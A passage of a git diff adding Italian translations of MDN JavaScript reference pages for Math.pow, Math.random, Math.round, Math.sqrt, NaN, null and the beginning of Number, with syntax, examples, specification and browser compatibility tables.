+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.min', 'Math.min')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/pow/index.html b/files/it/web/javascript/reference/global_objects/math/pow/index.html
new file mode 100644
index 0000000000..5db4139f6a
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/pow/index.html
@@ -0,0 +1,151 @@
+---
+title: Math.pow()
+slug: Web/JavaScript/Reference/Global_Objects/Math/pow
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.pow() </code></strong>restituisce la potenza della base che si desidera moltiplicare per se stessa a seconda del valore dell'esponenete, cioè <code>base<sup>esponente</sup></code>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Math.pow(<var>base</var>, <var>esponente</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>base</code></dt>
+ <dd>La basee del numero.</dd>
+ <dt><code>esponente</code></dt>
+ <dd>L'esponente usato per elevare la base.</dd>
+</dl>
+
+<h3 id="Valore_di_Ritorno">Valore di Ritorno</h3>
+
+<p>Un numero che rappresenta la base elevata alla potenza dell'esponente.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Siccome </font>pow()</code>  è un metodo static di <code>Math</code>, lo usi sempre nella forma <code>Math.pow()</code>, piuttosto che come un metodo di un oggetto <code>Math</code> da te creato (<code>Math</code> non ha costruttori).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usando_Math.pow()">Usando <code>Math.pow()</code></h3>
+
+<pre class="brush: js">// semplice
+Math.pow(7, 2);    // 49
+Math.pow(7, 3);    // 343
+Math.pow(2, 10);   // 1024
+// esponenti fratti
+Math.pow(4, 0.5);  // 2 (radice quadrata di 4)
+Math.pow(8, 1/3);  // 2 (radice cubica di 8)
+Math.pow(2, 0.5);  // 1.4142135623730951 (radice quadrata di 2)
+Math.pow(2, 1/3);  // 1.2599210498948732 (radice cubica di 2)
+// esponenti negativi
+Math.pow(7, -2);   // 0.02040816326530612 (1/49)
+Math.pow(8, -1/3); // 0.5
+// basi negative
+Math.pow(-7, 2);   // 49 (i quadrati son sempre positivi)
+Math.pow(-7, 3);   // -343 (i cubi possono essere negativi)
+Math.pow(-7, 0.5); // NaN (i numeri negativi non hanno una quadrata reale)
+// Siccome le radici "pari" e quelle "dispari" sono vicine tra loro,
+// e i limiti della precisione numerica per i valori di tipo float,
+// le basi negative con esponenti fratti ritornano sempre NaN
+Math.pow(-7, 1/3); // NaN
+</pre>
+
+<h2 id="Specifiche_Tecniche">Specifiche Tecniche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>
+    <p>Definizione iniziale. Implementata in  JavaScript 1.0.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.13', 'Math.pow')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.pow', 'Math.pow')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.pow', 'Math.pow')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblità_Browser">Compatiblità Browser </h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation" title="Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value. The standard arithmetic operators are addition (+), subtraction (-), multiplication (*), and division (/).">Exponentiation operator</a> {{experimental_inline}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/random/index.html b/files/it/web/javascript/reference/global_objects/math/random/index.html
new file mode 100644
index 0000000000..3fcd849257
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/random/index.html
@@ -0,0 +1,107 @@
+---
+title: Math.random()
+slug: Web/JavaScript/Reference/Global_Objects/Math/random
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/random
+---
+<div>{{JSRef}}</div>
+
+<div>La funzione <strong><code>Math.random()</code></strong>  ritorna un numero pseudo-casuale in virgola mobile compreso tra 0 e 1, con 0 incluso e 1 escluso (quindi nell'intervallo [0, 1)), scalabile al range desiderato. L'implementazione seleziona un numero (seme) iniziale utile all'algoritmo di generazione per restituire numeri randomici, il quale non può essere scelto o resettato dall'utente.</div>
+
+<div> </div>
+
+<div class="note">
+<p><code>Math.random()</code> <em>non </em>permette la generazione crittograficamente sicura dei numeri casuali, di conseguenza è altamente sconsigliato il suo impiego nell'ambito della sicurezza. Piuttosto sarebbe più corretto utilizzare la Web Crypto API instead, e più precisamente il metodo {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Math.random()</pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero pseudo casuale in virgola mobile compreso tra 0 (incluso) e 1 (escluso).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Bisogna notare che dal momento che i numeri in virgola mobile di JavaScript seguono lo standard IEEE 754 che arrotonda i numeri al numero pari più vicino, i range mostrati per la funzione sottostante non sono esatti (escludendo quello per Math.random()). Se si scelgono margini molto elevati (dell'ordine di 2<sup>53  </sup>o più) è possibile, in casi estremamente rari, calcolare il limite superiore solitamente escluso.</p>
+
+<h3 id="Ottenere_un_numero_tra_0_1)">Ottenere un numero tra [0, 1)</h3>
+
+<pre class="brush: js">function getRandom() {
+  return Math.random();
+}
+</pre>
+
+<h3 id="Ottenere_un_numero_random_tra_due_valori">Ottenere un numero random tra due valori</h3>
+
+<p>Questo esempio restituisce un numero random tra due valori specificati. Il valore non è minore di (e può essere uguale a) <code>min</code>, nè maggiore (e nè uguale) a <code>max.</code> </p>
+
+<pre class="brush: js">function getRandomArbitrary(min, max) {
+  return Math.random() * (max - min) + min;
+}
+</pre>
+
+<h3 id="Ottenere_un_intero_random_tra_due_valori">Ottenere un intero random tra due valori</h3>
+
+<p>Questo esempio restituisce un intero random tra due valori specificati. Il valore non è minore di <code>min</code> (oppure l'intero più grande di min se quest'ultimo non è un intero), nè maggiore (nè uguale) a <code>max.</code> </p>
+
+<pre class="brush: js">function getRandomInt(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min)) + min; //Il max è escluso e il min è incluso
+}
+</pre>
+
+<div class="note">
+<p>Si potrebbe utilizzare l'arrotondamento per ottenere questo, tuttavia così facendo i numeri casuali seguirebbero una distribuzione non uniforme, magari non accettabile.</p>
+</div>
+
+<h3 id="Ottenere_un_intero_random_tra_due_valori_con_estremi_inclusi">Ottenere un intero random tra due valori con estremi inclusi</h3>
+
+<p>Le funzioni viste finora escludono sempre l'estremo superiore del range scelto. La funzione <code>getRandomIntInclusive() </code>descritta sotto permette di ottenere questo.</p>
+
+<pre class="brush: js">function getRandomIntInclusive(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min + 1)) + min; //Il max è incluso e il min è incluso
+}</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. JS 1.0 (solo per UNIX) / JS 1.1. (tutte le piattaforme)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.14', 'Math.random')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.random', 'Math.random')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.random', 'Math.random')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.random")}}</p>
+
+<p class="countTop"> </p>
diff --git a/files/it/web/javascript/reference/global_objects/math/round/index.html b/files/it/web/javascript/reference/global_objects/math/round/index.html
new file mode 100644
index 0000000000..4b20fb4a42
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/round/index.html
@@ -0,0 +1,100 @@
+---
+title: Math.round()
+slug: Web/JavaScript/Reference/Global_Objects/Math/round
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/round
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.round()</code></strong> restituisce il valore di un numero approssimato all'intero ad esso più vicino.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-round.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Math.round(<var>x</var>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un numero.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Il valore del numero dato approssimato all'intero più vicino.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Se la parte frazionale del numero è maggiore di 0.5, l'argomento (x) è approssimato all'intero successivo con il valore assoluto più elevato. Se è inferiore di 0.5, l'argomento è approssimato all'intero con il valore assoluto più basso.  Se la parte frazionale è esattamente 0.5, l'argomento è approssimato all'intero successivo nella direzione di +∞.  <strong>Si noti che questo è diverso da quanto accade nelle funzioni <code>round()</code> di molti altri linguaggi, che spesso invece approssimano questo caso all'intero successivo <em>più lontano da zero</em>, </strong>(dando un risultato diverso nel caso dei numeri negativi con una parte frazionale di esattamente 0.5).</p>
+
+<p>Poiché <code>round()</code> è un metodo statico di <code>Math</code>, lo si usa sempre come <code>Math.round()</code>, piuttosto che come un metodo di un <code>Oggetto Math</code> appositamente creato (<code>Math</code> non ha un costruttore).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">Math.round( 20.49); //  20
+Math.round( 20.5 ); //  21
+Math.round( 42   ); //  42
+Math.round(-20.5 ); // -20
+Math.round(-20.51); // -21
+</pre>
+
+<p> </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.15', 'Math.round')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.round', 'Math.round')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.round', 'Math.round')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.round")}}</p>
+
+<p> </p>
+
+<h2 id="See_also">See also</h2>
+
+<p> </p>
+
+<ul>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/sqrt/index.html b/files/it/web/javascript/reference/global_objects/math/sqrt/index.html
new file mode 100644
index 0000000000..6daf577e02
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/sqrt/index.html
@@ -0,0 +1,136 @@
+---
+title: Math.sqrt()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.sqrt()</code></strong> ritorna la radice quadrata di un numero, cioè :</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mi>x</mi></msqrt><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{l'unico} \; y \geq 0 \; \text{tale che} \; y^2 = x</annotation></semantics></math></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Math.sqrt(<var>x</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un numero.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>La radice quadrata di un dato numero. Se il numero è negativo viene ritornato {{jsxref("NaN")}}.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Se il segno di <code>x</code> è negativo, <code>Math.sqrt()</code> ritorna {{jsxref("NaN")}}.</p>
+
+<p>Siccome <code>sqrt()</code> è un metodo static di <code>Math</code>, puoi usarlo sempre come <code>Math.sqrt()</code>, piutttosto che come un metodo di un oggetto di tipo <code>Math</code> creato da te (<code>Math</code> non è un costruttore).</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="Uso_di_Math.sqrt()">Uso di <code>Math.sqrt()</code></h3>
+
+<pre class="brush: js">Math.sqrt(9); // 3
+Math.sqrt(2); // 1.414213562373095
+
+Math.sqrt(1);  // 1
+Math.sqrt(0);  // 0
+Math.sqrt(-1); // NaN
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementato per JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/nan/index.html b/files/it/web/javascript/reference/global_objects/nan/index.html
new file mode 100644
index 0000000000..992f063e9d
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/nan/index.html
@@ -0,0 +1,79 @@
+---
+title: NaN
+slug: Web/JavaScript/Reference/Global_Objects/NaN
+translation_of: Web/JavaScript/Reference/Global_Objects/NaN
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>La proprietà globale <strong style="font-family: Consolas,Monaco,'Andale Mono',monospace;">NaN </strong>è un valore che rappresenta un non numero (Not-a-Number).</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>NaN</code></pre>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>Nan è una proprietà del <em>global object </em>e indica il fatto che un certo valore non è un numero legale/valido.</p>
+
+<p>Il valore iniziale di Nan è Not-A-Number — lo stesso valore che si può riscontrare accedendo a <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">Number.NaN. </span>Nei browser moderni NaN è una proprietà non configurabile e non scrivibile (read-only).</p>
+
+<p>NaN è restituito principalmente come valore di fallimento dalle funzioni "matematiche" come <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">Math.sqrt(-1) </span>oppure quando si prova ad eseguire il parseInt di una stringa che non contiene cifre numeriche come <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">parseInt("blabla")</span></p>
+
+<h3 id="Testare_il_valore_NaN">Testare il valore <code>NaN</code></h3>
+
+<p>Gli operatori di uguaglianza (== o ===) non possono essere usati per verificare il valore di NaN. Deve essere invece utilizzato il metodo IsNaN() presente sia nell'oggetto globale {{jsxref("Global_Objects/isNaN", "isNaN()")}} che nell'oggetto Number {{jsxref("Number.isNaN()")}}.  </p>
+
+<pre class="brush: js">NaN === NaN;        // false
+Number.NaN === NaN; // false
+isNaN(NaN);         // true
+isNaN(Number.NaN);  // true
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition. Implemented in JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.1', 'NaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità">Compatibilità</h2>
+
+
+
+<p>{{Compat("javascript.builtins.NaN")}}</p>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/null/index.html b/files/it/web/javascript/reference/global_objects/null/index.html
new file mode 100644
index 0000000000..80ee3de685
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/null/index.html
@@ -0,0 +1,89 @@
+---
+title: 'null'
+slug: Web/JavaScript/Reference/Global_Objects/null
+translation_of: Web/JavaScript/Reference/Global_Objects/null
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>Il valore <code>null</code> rappresenta l'assenza intenzionale di qualsiasi valore dell'oggetto. È una delle {{Glossary("Primitive", "primitive values")}} di JavaScript.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-null.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">null</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il valore <code>null</code> è scritto con un letterale: <code>null</code>. <code>null</code> non è un identificatore per una proprietà dell'oggetto globale, come {{jsxref("Global_Objects/undefined","undefined")}} può essere. Invece, <code>null</code> esprime una mancanza di identificazione, indicando che una variabile punta a nessun oggetto. Nelle API, <code>null</code> viene spesso recuperato in un punto in cui è possibile prevedere un oggetto ma nessun oggetto è rilevante.</p>
+
+<pre class="brush: js">// foo non esiste Non è definito e non è mai stato inizializzato:
+foo;
+"ReferenceError: foo is not defined"
+
+// foo è noto per esistere ora ma non ha alcun tipo o valore:
+var foo = null;
+foo;
+"null"
+</pre>
+
+<h3 id="Differenze_tra_null_e_undefined">Differenze tra <code>null</code> e <code>undefined</code></h3>
+
+<p>Durante il controllo per <code>null</code> o <code>undefined</code>, attenti alle <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">differenze tra gli operatori equality (==) e identity (===)</a>, come il primo esegue la conversione del tipo.</p>
+
+<pre class="brush: js">typeof null          // "object" (non "null" per motivi legacy)
+typeof undefined     // "undefined"
+null === undefined   // false
+null  == undefined   // true
+null === null        // true
+null == null         // true
+!null                // true
+isNaN(1 + null)      // false
+isNaN(1 + undefined) // true</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-null-value', 'null value')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-null-value', 'null value')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("javascript.builtins.null")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/number/index.html b/files/it/web/javascript/reference/global_objects/number/index.html
new file mode 100644
index 0000000000..39c8eb37d2
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/number/index.html
@@ -0,0 +1,188 @@
+---
+title: Number
+slug: Web/JavaScript/Reference/Global_Objects/Number
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<ol>
+ <li>{{JSRef}}</li>
+</ol>
+
+<div><strong><code>Number</code></strong> is a <a href="/en-US/docs/Glossary/Primitive#Primitive_wrapper_objects_in_JavaScript">primitive wrapper object</a> used to represent and manipulate numbers like <code>37</code> or <code>-9.25</code>.</div>
+
+<div></div>
+
+<div></div>
+
+<p>The <strong><code>Number</code></strong> constructor contains constants and methods for working with numbers. Values of other types can be converted to numbers using the<strong> </strong><strong><code>Number()</code> function</strong>.</p>
+
+<p>The JavaScript <strong>Number</strong> type is a <a href="https://en.wikipedia.org/wiki/Floating-point_arithmetic">double-precision 64-bit binary format IEEE 754</a> value, like <code>double</code> in Java or C#. This means it can represent fractional values, but there are some limits to what it can store. A Number only keeps about 17 decimal places of precision; arithmetic is subject to <a href="https://en.wikipedia.org/wiki/Floating-point_arithmetic#Representable_numbers,_conversion_and_rounding">rounding</a>. The largest value a Number can hold is about 1.8×10<sup>308</sup>. Numbers beyond that are replaced with the special Number constant {{jsxref("Infinity")}}.</p>
+
+<p>A number literal like <code>37</code> in JavaScript code is a floating-point value, not an integer. There is no separate integer type in common everyday use. (JavaScript now has a {{jsxref("BigInt")}} type, but it was not designed to replace Number for everyday uses. <code>37</code> is still a Number, not a BigInt.)</p>
+
+<dl>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>When used as a function, <code>Number(value)</code> converts a string or other value to the Number type. If the value can't be converted, it returns {{jsxref("NaN")}}.</p>
+
+<h3 id="Literal_syntax">Literal syntax</h3>
+
